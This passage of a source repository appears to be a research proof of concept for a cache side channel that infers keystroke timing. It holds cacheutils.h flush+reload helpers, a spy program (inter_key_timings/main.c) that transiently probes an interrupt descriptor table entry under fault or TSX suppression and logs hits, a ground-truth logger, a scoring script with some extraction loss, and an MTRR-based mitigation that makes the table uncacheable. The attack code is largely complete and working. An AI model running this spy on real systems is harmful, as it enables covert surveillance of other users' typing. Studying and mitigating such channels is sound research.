t1.tv_sec * 1000 * 1000 * 1000ULL + t1.tv_nsec; 163 | asm volatile("ISB"); 164 | asm volatile("DSB SY"); 165 | return res; 166 | #elif ARM_CLOCK_SOURCE == ARM_TIMER 167 | uint64_t result = 0; 168 | 169 | asm volatile("DSB SY"); 170 | asm volatile("ISB"); 171 | asm volatile("MRS %0, PMCCNTR_EL0" : "=r"(result)); 172 | asm volatile("DSB SY"); 173 | asm volatile("ISB"); 174 | 175 | return result; 176 | #else 177 | #error Clock source not supported 178 | #endif 179 | } 180 | // --------------------------------------------------------------------------- 181 | uint64_t rdtsc_begin() { 182 | #if ARM_CLOCK_SOURCE == ARM_PERF 183 | long long result = 0; 184 | 185 | asm volatile("DSB SY"); 186 | asm volatile("ISB"); 187 | 188 | if (read(perf_fd, &result, sizeof(result)) < (ssize_t) sizeof(result)) { 189 | return 0; 190 | } 191 | 192 | asm volatile("DSB SY"); 193 | 194 | return result; 195 | #elif ARM_CLOCK_SOURCE == ARM_CLOCK_MONOTONIC 196 | asm volatile("DSB SY"); 197 | asm volatile("ISB"); 198 | struct timespec t1; 199 | clock_gettime(CLOCK_MONOTONIC, &t1); 200 | uint64_t res = t1.tv_sec * 1000 * 1000 * 1000ULL + t1.tv_nsec; 201 | asm volatile("DSB SY"); 202 | return res; 203 | #elif ARM_CLOCK_SOURCE == ARM_TIMER 204 | uint64_t result = 0; 205 | 206 | asm volatile("DSB SY"); 207 | asm volatile("ISB"); 208 | asm volatile("MRS %0, PMCCNTR_EL0" : "=r"(result)); 209 | asm volatile("ISB"); 210 | 211 | return result; 212 | #else 213 | #error Clock source not supported 214 | #endif 215 | } 216 | 217 | 218 | // --------------------------------------------------------------------------- 219 | uint64_t rdtsc_end() { 220 | #if ARM_CLOCK_SOURCE == ARM_PERF 221 | long long result = 0; 222 | 223 | asm volatile("DSB SY"); 224 | 225 | if (read(perf_fd, &result, sizeof(result)) < (ssize_t) sizeof(result)) { 226 | return 0; 227 | } 228 | 229 | asm volatile("ISB"); 230 | asm volatile("DSB SY"); 231 | 232 | return result; 233 | #elif ARM_CLOCK_SOURCE == ARM_CLOCK_MONOTONIC 234 | asm volatile("DSB SY"); 235 | struct timespec t1; 236 | clock_gettime(CLOCK_MONOTONIC, &t1); 237 | uint64_t res = t1.tv_sec * 1000 * 1000 * 1000ULL + t1.tv_nsec; 238 | asm volatile("ISB"); 239 | asm volatile("DSB SY"); 240 | return res; 241 | #elif ARM_CLOCK_SOURCE == ARM_TIMER 242 | uint64_t result = 0; 243 | 244 | asm volatile("DSB SY"); 245 | asm volatile("MRS %0, PMCCNTR_EL0" : "=r"(result)); 246 | asm volatile("DSB SY"); 247 | asm volatile("ISB"); 248 | 249 | return result; 250 | #else 251 | #error Clock source not supported 252 | #endif 253 | } 254 | 255 | // --------------------------------------------------------------------------- 256 | void flush(void *p) { 257 | asm volatile("DC CIVAC, %0" ::"r"(p)); 258 | asm volatile("DSB ISH"); 259 | asm volatile("ISB"); 260 | } 261 | 262 | // --------------------------------------------------------------------------- 263 | void maccess(void *p) { 264 | volatile uint32_t value; 265 | asm volatile("LDR %0, [%1]\n\t" : "=r"(value) : "r"(p)); 266 | asm volatile("DSB ISH"); 267 | asm volatile("ISB"); 268 | } 269 | 270 | // --------------------------------------------------------------------------- 271 | void mfence() { asm volatile("DSB ISH"); } 272 | 273 | // --------------------------------------------------------------------------- 274 | void nospec() { asm volatile("DSB SY\nISB"); } 275 | 276 | #endif 277 | 278 | // --------------------------------------------------------------------------- 279 | int flush_reload(void *ptr) { 280 | uint64_t start = 0, end = 0; 281 | 282 | #if USE_RDTSC_BEGIN_END 283 | start = rdtsc_begin(); 284 | #else 285 | start = rdtsc(); 286 | #endif 287 | maccess(ptr); 288 | #if USE_RDTSC_BEGIN_END 289 | end = rdtsc_end(); 290 | #else 291 | end = rdtsc(); 292 | #endif 293 | 294 | mfence(); 295 | 296 | flush(ptr); 297 | 298 | if (end - start < CACHE_MISS) { 299 | return 1; 300 | } 301 | return 0; 302 | } 303 | 304 | // --------------------------------------------------------------------------- 305 | int flush_reload_t(void *ptr) { 306 | uint64_t start = 0, end = 0; 307 | 308 | #if USE_RDTSC_BEGIN_END 309 | start = rdtsc_begin(); 310 | #else 311 | start = rdtsc(); 312 | #endif 313 | maccess(ptr); 314 | #if USE_RDTSC_BEGIN_END 315 | end = rdtsc_end(); 316 | #else 317 | end = rdtsc(); 318 | #endif 319 | 320 | mfence(); 321 | 322 | flush(ptr); 323 | 324 | return (int)(end - start); 325 | } 326 | 327 | // --------------------------------------------------------------------------- 328 | int reload_t(void *ptr) { 329 | uint64_t start = 0, end = 0; 330 | 331 | #if USE_RDTSC_BEGIN_END 332 | start = rdtsc_begin(); 333 | #else 334 | start = rdtsc(); 335 | #endif 336 | maccess(ptr); 337 | #if USE_RDTSC_BEGIN_END 338 | end = rdtsc_end(); 339 | #else 340 | end = rdtsc(); 341 | #endif 342 | 343 | mfence(); 344 | 345 | return (int)(end - start); 346 | } 347 | 348 | 349 | // --------------------------------------------------------------------------- 350 | size_t detect_flush_reload_threshold() { 351 | size_t reload_time = 0, flush_reload_time = 0, i, count = 1000000; 352 | size_t dummy[16]; 353 | size_t *ptr = dummy + 8; 354 | uint64_t start = 0, end = 0; 355 | 356 | maccess(ptr); 357 | for (i = 0; i < count; i++) { 358 | reload_time += reload_t(ptr); 359 | } 360 | for (i = 0; i < count; i++) { 361 | flush_reload_time += flush_reload_t(ptr); 362 | } 363 | reload_time /= count; 364 | flush_reload_time /= count; 365 | 366 | return (flush_reload_time + reload_time * 2) / 3; 367 | } 368 | 369 | // --------------------------------------------------------------------------- 370 | void maccess_speculative(void* ptr) { 371 | int i; 372 | size_t dummy = 0; 373 | void* addr; 374 | 375 | for(i = 0; i < 50; i++) { 376 | size_t c = ((i * 167) + 13) & 1; 377 | addr = (void*)(((size_t)&dummy) * c + ((size_t)ptr) * (1 - c)); 378 | flush(&c); 379 | mfence(); 380 | if(c / 0.5 > 1.1) maccess(addr); 381 | } 382 | } 383 | 384 | 385 | // --------------------------------------------------------------------------- 386 | static jmp_buf trycatch_buf; 387 | 388 | // --------------------------------------------------------------------------- 389 | void unblock_signal(int signum __attribute__((__unused__))) { 390 | sigset_t sigs; 391 | sigemptyset(&sigs); 392 | sigaddset(&sigs, signum); 393 | sigprocmask(SIG_UNBLOCK, &sigs, NULL); 394 | } 395 | 396 | // --------------------------------------------------------------------------- 397 | void trycatch_segfault_handler(int signum) { 398 | (void)signum; 399 | unblock_signal(SIGSEGV); 400 | unblock_signal(SIGFPE); 401 | longjmp(trycatch_buf, 1); 402 | } 403 | 404 | // --------------------------------------------------------------------------- 405 | int try_start() { 406 | #if defined(__i386__) || defined(__x86_64__) 407 | if(has_tsx()) { 408 | unsigned status; 409 | // tsx begin 410 | asm volatile(".byte 0xc7,0xf8,0x00,0x00,0x00,0x00" 411 | : "=a"(status) 412 | : "a"(-1UL) 413 | : "memory"); 414 | return status == (~0u); 415 | } else 416 | #endif 417 | { 418 | signal(SIGSEGV, trycatch_segfault_handler); 419 | signal(SIGFPE, trycatch_segfault_handler); 420 | return !setjmp(trycatch_buf); 421 | } 422 | } 423 | 424 | // --------------------------------------------------------------------------- 425 | void try_end() { 426 | #if defined(__i386__) || defined(__x86_64__) 427 | if(!has_tsx()) 428 | #endif 429 | { 430 | signal(SIGSEGV, SIG_DFL); 431 | signal(SIGFPE, SIG_DFL); 432 | } 433 | } 434 | 435 | // --------------------------------------------------------------------------- 436 | void try_abort() { 437 | #if defined(__i386__) || defined(__x86_64__) 438 | if(has_tsx()) { 439 | asm volatile(".byte 0x0f; .byte 0x01; .byte 0xd5" ::: "memory"); 440 | } else 441 | #endif 442 | { 443 | maccess(0); 444 | } 445 | } 446 | 447 | 448 | #endif 449 | -------------------------------------------------------------------------------- /inter_key_timings/keylog.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | long current_nanos() { 13 | struct timeval time; 14 | gettimeofday(&time, NULL); 15 | return time.tv_sec * 1000000 + time.tv_usec; 16 | } 17 | 18 | /* https://www.gnu.org/software/libc/manual/html_node/Noncanon-Example.html */ 19 | struct termios saved_attributes; 20 | 21 | void reset_input_mode(void) { 22 | tcsetattr(STDIN_FILENO, TCSANOW, &saved_attributes); 23 | } 24 | 25 | void set_input_mode(void) { 26 | struct termios tattr; 27 | char *name; 28 | 29 | // Make sure stdin is a terminal. 30 | if (!isatty(STDIN_FILENO)) { 31 | fprintf(stderr, "Not a terminal.\n"); 32 | exit(EXIT_FAILURE); 33 | } 34 | 35 | // Save the terminal attributes so we can restore them later. 36 | tcgetattr(STDIN_FILENO, &saved_attributes); 37 | atexit(reset_input_mode); 38 | 39 | // Set the funny terminal modes. 40 | tcgetattr(STDIN_FILENO, &tattr); 41 | tattr.c_lflag &= ~(ICANON | ECHO); // Clear ICANON and ECHO. 42 | tattr.c_cc[VMIN] = 1; 43 | tattr.c_cc[VTIME] = 0; 44 | tcsetattr(STDIN_FILENO, TCSAFLUSH, &tattr); 45 | } 46 | 47 | int main() { 48 | set_input_mode(); 49 | for (int i=0; i<200; i++) { 50 | getchar(); 51 | printf("%ld\n", current_nanos()); 52 | } 53 | usleep(500); 54 | system("pkill probe_idt"); 55 | system("pkill spy"); 56 | return 0; 57 | } 58 | -------------------------------------------------------------------------------- /inter_key_timings/main.c: -------------------------------------------------------------------------------- 1 | #include "cacheutils.h" 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #define TSX 0 8 | #define FAULT 1 9 | #define SPEC 2 10 | 11 | #define HANDLER FAULT 12 | 13 | #define speculation_start(label) asm goto ("call %l0" : : : "memory" : label##_retp); 14 | #define speculation_end(label) asm goto("jmp %l0" : : : "memory" : label); label##_retp: asm goto("lea %l0(%%rip), %%rax\nmovq %%rax, (%%rsp)\nret\n" : : : "memory","rax" : label); label: asm volatile("nop"); 15 | 16 | 17 | typedef struct { 18 | uint16_t limit; 19 | size_t base __attribute__((packed)); 20 | } idt_t; 21 | 22 | char __attribute__((aligned(4096))) oracle[4096 * 256]; 23 | /* char __attribute__((aligned(4096))) evictor[4096 * 16]; */ 24 | char __attribute__((aligned(4096))) evictor[4096 * 100]; 25 | 26 | size_t hits = 0; 27 | 28 | int stopping(int dummy) { 29 | /* printf("Hits: %zd\n", hits); */ 30 | FILE* f = fopen("hits", "w"); 31 | fprintf(f, "%zd\n", hits); 32 | fclose(f); 33 | exit(0); 34 | } 35 | 36 | int main(int argc, char *argv[]) { 37 | 38 | sleep(2); 39 | 40 | if (argc != 2) { 41 | printf("Usage: %s \n", argv[0]); 42 | exit(1); 43 | } 44 | int offset = atoi(argv[1]); 45 | 46 | memset(oracle, 1, sizeof(oracle)); 47 | memset(evictor, 2, sizeof(evictor)); 48 | 49 | idt_t idt; 50 | asm volatile("sidt %0" : "=m"(idt) : : "memory"); 51 | 52 | if (!CACHE_MISS) 53 | CACHE_MISS = detect_flush_reload_threshold(); 54 | 55 | signal(SIGSEGV, trycatch_segfault_handler); 56 | 57 | unsigned char *target = (unsigned char *)(idt.base + offset * 16); 58 | 59 | for (int i = 0; i < 256; i++) 60 | flush(oracle + i * 4096); 61 | int cnt = 0; 62 | 63 | signal(SIGINT, stopping); 64 | 65 | while (1) { 66 | #if HANDLER == FAULT 67 | if (!setjmp(trycatch_buf)) { 68 | maccess(NULL); 69 | #endif 70 | 71 | #if HANDLER == TSX 72 | if (xbegin() == (~0u)) { 73 | maccess(NULL); 74 | #endif 75 | 76 | #if HANDLER == SPEC 77 | speculation_start(sp); 78 | #endif 79 | maccess(oracle + !!(*target) * 4096); 80 | 81 | #if HANDLER == TSX 82 | xend(); 83 | } 84 | #endif 85 | #if HANDLER == FAULT 86 | } 87 | #endif 88 | #if HANDLER == SPEC 89 | speculation_end(sp); 90 | #endif 91 | if (flush_reload(oracle + 4096)) { 92 | struct timeval time; 93 | gettimeofday(&time, NULL); 94 | printf("%ld\n", time.tv_sec * 1000000 + time.tv_usec); 95 | fflush(stdout); 96 | hits++; 97 | for (int ev = 0; ev < sizeof(evictor) / 4096; ev++) { 98 | maccess(evictor + ev * 4096 + offset * 16); 99 | } 100 | asm volatile("mfence"); 101 | } 102 | } 103 | } 104 | -------------------------------------------------------------------------------- /inter_key_timings/results.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import sys 3 | import statistics 4 | 5 | with open(sys.argv[1], "r") as truth: 6 | with open(sys.argv[2], "r") as probe: 7 | timings_truth=[int(x) for x in truth.read().strip().split("\n")] 8 | timings_probe=[int(x) for x in probe.read().strip().split("\n")] 9 | 10 | # matching 11 | m={} 12 | for tp in timings_probe: 13 | # search for nearest timestamp in ground truth data and match 14 | lowest_diff_t=0 15 | lowest_diff=10000000000000 16 | for t in timings_truth: 17 | diff=abs(tp-t) 18 | if diff0) 36 | 37 | # search nearest element in matched timestamps 38 | lowest_diff=1000000000000000 39 | lowest_diff_t=0 40 | for t in matched_timestamps: 41 | diff=abs(true-t) 42 | if diff 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #define ARM_PERF 1 15 | #define ARM_CLOCK_MONOTONIC 2 16 | #define ARM_TIMER 3 17 | 18 | /* ============================================================ 19 | * User configuration 20 | * ============================================================ */ 21 | size_t CACHE_MISS = 150; 22 | 23 | #define USE_RDTSC_BEGIN_END 0 24 | 25 | #define USE_RDTSCP 1 26 | 27 | #define ARM_CLOCK_SOURCE ARM_CLOCK_MONOTONIC 28 | 29 | /* ============================================================ 30 | * User configuration End 31 | * ============================================================ */ 32 | 33 | /* ============================================================ 34 | * Macros 35 | * ============================================================ */ 36 | // example usage: asm volatile(INTELASM("clflush [rax]\n\t")); 37 | #define INTELASM(code) ".intel_syntax noprefix\n\t" code "\n\t.att_syntax prefix\n" 38 | 39 | 40 | // --------------------------------------------------------------------------- 41 | static size_t perf_fd; 42 | void perf_init() { 43 | static struct perf_event_attr attr; 44 | attr.type = PERF_TYPE_HARDWARE; 45 | attr.config = PERF_COUNT_HW_CPU_CYCLES; 46 | attr.size = sizeof(attr); 47 | attr.exclude_kernel = 1; 48 | attr.exclude_hv = 1; 49 | attr.exclude_callchain_kernel = 1; 50 | 51 | perf_fd = syscall(__NR_perf_event_open, &attr, 0, -1, -1, 0); 52 | assert(perf_fd >= 0); 53 | 54 | // ioctl(perf_fd, PERF_EVENT_IOC_RESET, 0); 55 | } 56 | 57 | #if defined(__i386__) || defined(__x86_64__) 58 | // --------------------------------------------------------------------------- 59 | static inline uint64_t rdtsc() { 60 | uint64_t a = 0, d = 0; 61 | asm volatile("mfence"); 62 | #if defined(USE_RDTSCP) && defined(__x86_64__) 63 | asm volatile("rdtscp" : "=a"(a), "=d"(d) :: "rcx"); 64 | #elif defined(USE_RDTSCP) && defined(__i386__) 65 | asm volatile("rdtscp" : "=A"(a), :: "ecx"); 66 | #elif defined(__x86_64__) 67 | asm volatile("rdtsc" : "=a"(a), "=d"(d)); 68 | #elif defined(__i386__) 69 | asm volatile("rdtsc" : "=A"(a)); 70 | #endif 71 | a = (d << 32) | a; 72 | asm volatile("mfence"); 73 | return a; 74 | } 75 | 76 | #if defined(__x86_64__) 77 | // --------------------------------------------------------------------------- 78 | static inline void maccess(void *p) { 79 | asm volatile("movq (%0), %%rax\n" : : "c"(p) : "rax"); 80 | } 81 | 82 | // --------------------------------------------------------------------------- 83 | static void flush(void *p) { 84 | asm volatile("clflush 0(%0)\n" : : "c"(p) : "rax"); 85 | } 86 | #else 87 | // --------------------------------------------------------------------------- 88 | static inline void maccess(void *p) { 89 | asm volatile("movl (%0), %%eax\n" : : "c"(p) : "eax"); 90 | } 91 | 92 | // --------------------------------------------------------------------------- 93 | static void flush(void *p) { 94 | asm volatile("clflush 0(%0)\n" : : "c"(p) : "eax"); 95 | } 96 | #endif 97 | 98 | // --------------------------------------------------------------------------- 99 | void mfence() { asm volatile("mfence"); } 100 | 101 | // --------------------------------------------------------------------------- 102 | void nospec() { asm volatile("lfence"); } 103 | 104 | #include 105 | // --------------------------------------------------------------------------- 106 | unsigned int xbegin() { 107 | unsigned status; 108 | asm volatile(".byte 0xc7,0xf8,0x00,0x00,0x00,0x00" : "=a"(status) : "a"(-1UL) : "memory"); 109 | return status; 110 | } 111 | 112 | // --------------------------------------------------------------------------- 113 | void xend() { 114 | asm volatile(".byte 0x0f; .byte 0x01; .byte 0xd5" ::: "memory"); 115 | } 116 | 117 | // --------------------------------------------------------------------------- 118 | int has_tsx() { 119 | if (__get_cpuid_max(0, NULL) >= 7) { 120 | unsigned a, b, c, d; 121 | __cpuid_count(7, 0, a, b, c, d); 122 | return (b & (1 << 11)) ? 1 : 0; 123 | } else { 124 | return 0; 125 | } 126 | } 127 | 128 | // --------------------------------------------------------------------------- 129 | void maccess_tsx(void* ptr) { 130 | if (xbegin() == (~0u)) { 131 | maccess(ptr); 132 | xend(); 133 | } 134 | } 135 | 136 | #elif defined(__aarch64__) 137 | #if ARM_CLOCK_SOURCE == ARM_CLOCK_MONOTONIC 138 | #include 139 | #endif 140 | 141 | // --------------------------------------------------------------------------- 142 | uint64_t rdtsc() { 143 | #if ARM_CLOCK_SOURCE == ARM_PERF 144 | long long result = 0; 145 | 146 | asm volatile("DSB SY"); 147 | asm volatile("ISB"); 148 | 149 | if (read(perf_fd, &result, sizeof(result)) < (ssize_t) sizeof(result)) { 150 | return 0; 151 | } 152 | 153 | asm volatile("ISB"); 154 | asm volatile("DSB SY"); 155 | 156 | return result; 157 | #elif ARM_CLOCK_SOURCE == ARM_CLOCK_MONOTONIC 158 | asm volatile("DSB SY"); 159 | asm volatile("ISB"); 160 | struct timespec t1; 161 | clock_gettime(CLOCK_MONOTONIC, &t1); 162 | uint64_t res = t1.tv_sec * 1000 * 1000 * 1000ULL + t1.tv_nsec; 163 | asm volatile("ISB"); 164 | asm volatile("DSB SY"); 165 | return res; 166 | #elif ARM_CLOCK_SOURCE == ARM_TIMER 167 | uint64_t result = 0; 168 | 169 | asm volatile("DSB SY"); 170 | asm volatile("ISB"); 171 | asm volatile("MRS %0, PMCCNTR_EL0" : "=r"(result)); 172 | asm volatile("DSB SY"); 173 | asm volatile("ISB"); 174 | 175 | return result; 176 | #else 177 | #error Clock source not supported 178 | #endif 179 | } 180 | // --------------------------------------------------------------------------- 181 | uint64_t rdtsc_begin() { 182 | #if ARM_CLOCK_SOURCE == ARM_PERF 183 | long long result = 0; 184 | 185 | asm volatile("DSB SY"); 186 | asm volatile("ISB"); 187 | 188 | if (read(perf_fd, &result, sizeof(result)) < (ssize_t) sizeof(result)) { 189 | return 0; 190 | } 191 | 192 | asm volatile("DSB SY"); 193 | 194 | return result; 195 | #elif ARM_CLOCK_SOURCE == ARM_CLOCK_MONOTONIC 196 | asm volatile("DSB SY"); 197 | asm volatile("ISB"); 198 | struct timespec t1; 199 | clock_gettime(CLOCK_MONOTONIC, &t1); 200 | uint64_t res = t1.tv_sec * 1000 * 1000 * 1000ULL + t1.tv_nsec; 201 | asm volatile("DSB SY"); 202 | return res; 203 | #elif ARM_CLOCK_SOURCE == ARM_TIMER 204 | uint64_t result = 0; 205 | 206 | asm volatile("DSB SY"); 207 | asm volatile("ISB"); 208 | asm volatile("MRS %0, PMCCNTR_EL0" : "=r"(result)); 209 | asm volatile("ISB"); 210 | 211 | return result; 212 | #else 213 | #error Clock source not supported 214 | #endif 215 | } 216 | 217 | 218 | // --------------------------------------------------------------------------- 219 | uint64_t rdtsc_end() { 220 | #if ARM_CLOCK_SOURCE == ARM_PERF 221 | long long result = 0; 222 | 223 | asm volatile("DSB SY"); 224 | 225 | if (read(perf_fd, &result, sizeof(result)) < (ssize_t) sizeof(result)) { 226 | return 0; 227 | } 228 | 229 | asm volatile("ISB"); 230 | asm volatile("DSB SY"); 231 | 232 | return result; 233 | #elif ARM_CLOCK_SOURCE == ARM_CLOCK_MONOTONIC 234 | asm volatile("DSB SY"); 235 | struct timespec t1; 236 | clock_gettime(CLOCK_MONOTONIC, &t1); 237 | uint64_t res = t1.tv_sec * 1000 * 1000 * 1000ULL + t1.tv_nsec; 238 | asm volatile("ISB"); 239 | asm volatile("DSB SY"); 240 | return res; 241 | #elif ARM_CLOCK_SOURCE == ARM_TIMER 242 | uint64_t result = 0; 243 | 244 | asm volatile("DSB SY"); 245 | asm volatile("MRS %0, PMCCNTR_EL0" : "=r"(result)); 246 | asm volatile("DSB SY"); 247 | asm volatile("ISB"); 248 | 249 | return result; 250 | #else 251 | #error Clock source not supported 252 | #endif 253 | } 254 | 255 | // --------------------------------------------------------------------------- 256 | void flush(void *p) { 257 | asm volatile("DC CIVAC, %0" ::"r"(p)); 258 | asm volatile("DSB ISH"); 259 | asm volatile("ISB"); 260 | } 261 | 262 | // --------------------------------------------------------------------------- 263 | void maccess(void *p) { 264 | volatile uint32_t value; 265 | asm volatile("LDR %0, [%1]\n\t" : "=r"(value) : "r"(p)); 266 | asm volatile("DSB ISH"); 267 | asm volatile("ISB"); 268 | } 269 | 270 | // --------------------------------------------------------------------------- 271 | void mfence() { asm volatile("DSB ISH"); } 272 | 273 | // --------------------------------------------------------------------------- 274 | void nospec() { asm volatile("DSB SY\nISB"); } 275 | 276 | #endif 277 | 278 | // --------------------------------------------------------------------------- 279 | int flush_reload(void *ptr) { 280 | uint64_t start = 0, end = 0; 281 | 282 | #if USE_RDTSC_BEGIN_END 283 | start = rdtsc_begin(); 284 | #else 285 | start = rdtsc(); 286 | #endif 287 | maccess(ptr); 288 | #if USE_RDTSC_BEGIN_END 289 | end = rdtsc_end(); 290 | #else 291 | end = rdtsc(); 292 | #endif 293 | 294 | mfence(); 295 | 296 | flush(ptr); 297 | 298 | if (end - start < CACHE_MISS) { 299 | return 1; 300 | } 301 | return 0; 302 | } 303 | 304 | // --------------------------------------------------------------------------- 305 | int flush_reload_t(void *ptr) { 306 | uint64_t start = 0, end = 0; 307 | 308 | #if USE_RDTSC_BEGIN_END 309 | start = rdtsc_begin(); 310 | #else 311 | start = rdtsc(); 312 | #endif 313 | maccess(ptr); 314 | #if USE_RDTSC_BEGIN_END 315 | end = rdtsc_end(); 316 | #else 317 | end = rdtsc(); 318 | #endif 319 | 320 | mfence(); 321 | 322 | flush(ptr); 323 | 324 | return (int)(end - start); 325 | } 326 | 327 | // --------------------------------------------------------------------------- 328 | int reload_t(void *ptr) { 329 | uint64_t start = 0, end = 0; 330 | 331 | #if USE_RDTSC_BEGIN_END 332 | start = rdtsc_begin(); 333 | #else 334 | start = rdtsc(); 335 | #endif 336 | maccess(ptr); 337 | #if USE_RDTSC_BEGIN_END 338 | end = rdtsc_end(); 339 | #else 340 | end = rdtsc(); 341 | #endif 342 | 343 | mfence(); 344 | 345 | return (int)(end - start); 346 | } 347 | 348 | 349 | // --------------------------------------------------------------------------- 350 | size_t detect_flush_reload_threshold() { 351 | size_t reload_time = 0, flush_reload_time = 0, i, count = 1000000; 352 | size_t dummy[16]; 353 | size_t *ptr = dummy + 8; 354 | uint64_t start = 0, end = 0; 355 | 356 | maccess(ptr); 357 | for (i = 0; i < count; i++) { 358 | reload_time += reload_t(ptr); 359 | } 360 | for (i = 0; i < count; i++) { 361 | flush_reload_time += flush_reload_t(ptr); 362 | } 363 | reload_time /= count; 364 | flush_reload_time /= count; 365 | 366 | return (flush_reload_time + reload_time * 2) / 3; 367 | } 368 | 369 | // --------------------------------------------------------------------------- 370 | void maccess_speculative(void* ptr) { 371 | int i; 372 | size_t dummy = 0; 373 | void* addr; 374 | 375 | for(i = 0; i < 50; i++) { 376 | size_t c = ((i * 167) + 13) & 1; 377 | addr = (void*)(((size_t)&dummy) * c + ((size_t)ptr) * (1 - c)); 378 | flush(&c); 379 | mfence(); 380 | if(c / 0.5 > 1.1) maccess(addr); 381 | } 382 | } 383 | 384 | 385 | // --------------------------------------------------------------------------- 386 | static jmp_buf trycatch_buf; 387 | 388 | // --------------------------------------------------------------------------- 389 | void unblock_signal(int signum __attribute__((__unused__))) { 390 | sigset_t sigs; 391 | sigemptyset(&sigs); 392 | sigaddset(&sigs, signum); 393 | sigprocmask(SIG_UNBLOCK, &sigs, NULL); 394 | } 395 | 396 | // --------------------------------------------------------------------------- 397 | void trycatch_segfault_handler(int signum) { 398 | (void)signum; 399 | unblock_signal(SIGSEGV); 400 | unblock_signal(SIGFPE); 401 | longjmp(trycatch_buf, 1); 402 | } 403 | 404 | // --------------------------------------------------------------------------- 405 | int try_start() { 406 | #if defined(__i386__) || defined(__x86_64__) 407 | if(has_tsx()) { 408 | unsigned status; 409 | // tsx begin 410 | asm volatile(".byte 0xc7,0xf8,0x00,0x00,0x00,0x00" 411 | : "=a"(status) 412 | : "a"(-1UL) 413 | : "memory"); 414 | return status == (~0u); 415 | } else 416 | #endif 417 | { 418 | signal(SIGSEGV, trycatch_segfault_handler); 419 | signal(SIGFPE, trycatch_segfault_handler); 420 | return !setjmp(trycatch_buf); 421 | } 422 | } 423 | 424 | // --------------------------------------------------------------------------- 425 | void try_end() { 426 | #if defined(__i386__) || defined(__x86_64__) 427 | if(!has_tsx()) 428 | #endif 429 | { 430 | signal(SIGSEGV, SIG_DFL); 431 | signal(SIGFPE, SIG_DFL); 432 | } 433 | } 434 | 435 | // --------------------------------------------------------------------------- 436 | void try_abort() { 437 | #if defined(__i386__) || defined(__x86_64__) 438 | if(has_tsx()) { 439 | asm volatile(".byte 0x0f; .byte 0x01; .byte 0xd5" ::: "memory"); 440 | } else 441 | #endif 442 | { 443 | maccess(0); 444 | } 445 | } 446 | 447 | 448 | #endif 449 | -------------------------------------------------------------------------------- /mitigation/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include "cacheutils.h" 6 | #include "ptedit_header.h" 7 | 8 | typedef struct { 9 | uint16_t limit; 10 | size_t base __attribute__((packed)); 11 | } idt_t; 12 | 13 | 14 | int main() { 15 | idt_t idt; 16 | asm volatile("sidt %0" : "=m"(idt) : : "memory"); 17 | printf("IDT base: 0x%zx\n", idt.base); 18 | 19 | if (ptedit_init()) { 20 | fprintf(stderr, "Could not init PTEditor\n"); 21 | return 1; 22 | } 23 | size_t pfn = ptedit_pte_get_pfn((void *)(idt.base), 0); 24 | printf("IDT PFN: 0x%zx\n", pfn); 25 | 26 | char* idt_vaddr = ptedit_pmap(pfn * 4096, 4096); 27 | printf("IDT vaddr: %p\n", idt_vaddr); 28 | 29 | size_t sum = 0; 30 | if(idt_vaddr != (char*)-1) { 31 | for(int i = 0; i < 1000; i++) { 32 | sum += reload_t(idt_vaddr); 33 | } 34 | printf("IDT access time: %zd\n", sum / 1000); 35 | } 36 | 37 | int fd; 38 | struct mtrr_sentry sentry; 39 | sentry.base = pfn * 4096; 40 | sentry.size = 4096; 41 | sentry.type = 0; // UC 42 | 43 | if((fd = open("/proc/mtrr", O_WRONLY, 0)) == -1) { 44 | printf("Could not open /proc/mtrr\n"); 45 | exit(1); 46 | } 47 | if(ioctl(fd, MTRRIOC_ADD_ENTRY, &sentry) == -1) { 48 | printf("Could not add MTRRR\n"); 49 | perror("MTRR"); 50 | 51 | system("echo 'disable=9' > /proc/mtrr"); 52 | if(ioctl(fd, MTRRIOC_ADD_ENTRY, &sentry) == -1) { 53 | printf("Could not add MTRRR\n"); 54 | perror("MTRR"); 55 | exit(1); 56 | 57 | } 58 | 59 | 60 | } 61 | 62 | 63 | if(idt_vaddr != (char*)-1) { 64 | sum = 0; 65 | for(int i = 0; i < 1000; i++) { 66 | sum += reload_t(idt_vaddr); 67 | } 68 | printf("IDT access time: %zd\n", sum / 1000); 69 | } 70 | ptedit_cleanup(); 71 | system("cat /proc/mtrr"); 72 | 73 | printf("Press any key to restore IDT to cachable\n"); 74 | getchar(); 75 | printf("Done\n"); 76 | 77 | } 78 | -------------------------------------------------------------------------------- /mitigation/ptedit_header.h: -------------------------------------------------------------------------------- 1 | // Warning: this file was generated by make. DO NOT EDIT! 2 | /* See LICENSE file for license and copyright information */ 3 | 4 | #ifndef PTEDITOR_MODULE_H 5 | #define PTEDITOR_MODULE_H 6 | 7 | #if defined(__linux__) || defined(__linux) || defined(__unix__) || defined(LINUX) || defined(UNIX) 8 | #define LINUX 9 | #endif 10 | #if defined(_WIN32) || defined(_WIN64) || defined(__MINGW32__) || defined(__CYGWIN__) 11 | #define WINDOWS 12 | #undef LINUX 13 | #endif 14 | 15 | 16 | #include 17 | 18 | #if defined(LINUX) 19 | #define PTEDITOR_DEVICE_NAME "pteditor" 20 | #define PTEDITOR_DEVICE_PATH "/dev/" PTEDITOR_DEVICE_NAME 21 | #else 22 | #define PTEDITOR_DEVICE_NAME L"PTEditorLink" 23 | #define PTEDITOR_DEVICE_PATH L"\\\\.\\" PTEDITOR_DEVICE_NAME 24 | #endif 25 | 26 | /** 27 | * Structure containing the page-table entries of all levels. 28 | * The Linux names are aliased with the Intel names. 29 | */ 30 | typedef struct { 31 | /** Process ID */ 32 | size_t pid; 33 | /** Virtual address */ 34 | size_t vaddr; 35 | 36 | /** Page global directory / Page map level 5 */ 37 | union { 38 | size_t pgd; 39 | size_t pml5; 40 | }; 41 | /** Page directory 4 / Page map level 4 */ 42 | union { 43 | size_t p4d; 44 | size_t pml4; 45 | }; 46 | /** Page upper directory / Page directory pointer table */ 47 | union { 48 | size_t pud; 49 | size_t pdpt; 50 | }; 51 | /** Page middle directory / Page directory */ 52 | union { 53 | size_t pmd; 54 | size_t pd; 55 | }; 56 | /** Page table entry */ 57 | size_t pte; 58 | /** Bitmask indicating which entries are valid/should be updated */ 59 | size_t valid; 60 | } ptedit_entry_t; 61 | 62 | /** 63 | * Structure to 